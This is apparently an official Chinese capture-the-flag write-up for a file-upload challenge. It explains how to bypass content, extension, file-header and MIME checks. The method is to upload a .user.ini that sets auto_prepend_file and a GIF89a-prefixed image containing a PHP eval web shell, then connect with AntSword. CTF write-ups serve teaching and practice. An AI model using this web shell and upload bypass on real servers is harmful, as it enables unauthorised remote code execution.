题目场景
查看源码
毫无有效的数据
官方WriteUp
本题需要利用文件上传漏洞点,通过绕过服务器的安全防护,达到getshell的目的
本题的主要考点为利用fastcgi的.user.ini特性进行任意命令执行
这里需要绕过的点如下
检查文件内容是否有php字符串
检查后缀中是否有htaccess或ph
检查文件头部信息
文件MIME类型
对于第一点可以利用短标签绕过,例如<?=phpinfo();?>
对于第二点可以通过上传.user.ini以及正常jpg文件来进行getshell,可以参考以下文章
.user.ini文件构成的PHP后门 - phith0n
在服务器中,只要是运用了fastcgi的服务器就能够利用该方式getshell,不论是apache或者ngnix或是其他服务器。
这个文件是php.ini的补充文件,当网页访问的时候就会自动查看当前目录下是否有.user.ini,然后将其补充进php.ini,并作为cgi的启动项。
其中很多功能设置了只能php.ini配置,但是还是有一些危险的功能可以被我们控制,比如auto_prepend_file。
第三点绕过方式即在文件头部添加一个图片的文件头,比如GIF89a
第四点绕过方法即修改上传时的Content-Type
因此最终的payload为:
上传.user.ini,内容为
GIF89a
auto_prepend_file=a.jpg
上传a.jpg,内容为
GIF89a
<?=eval($_POST['cmd']);?>
BP抓包
上传.user.ini
再上传a.jpg
F12查看文件去向
蚁剑连接
找到flag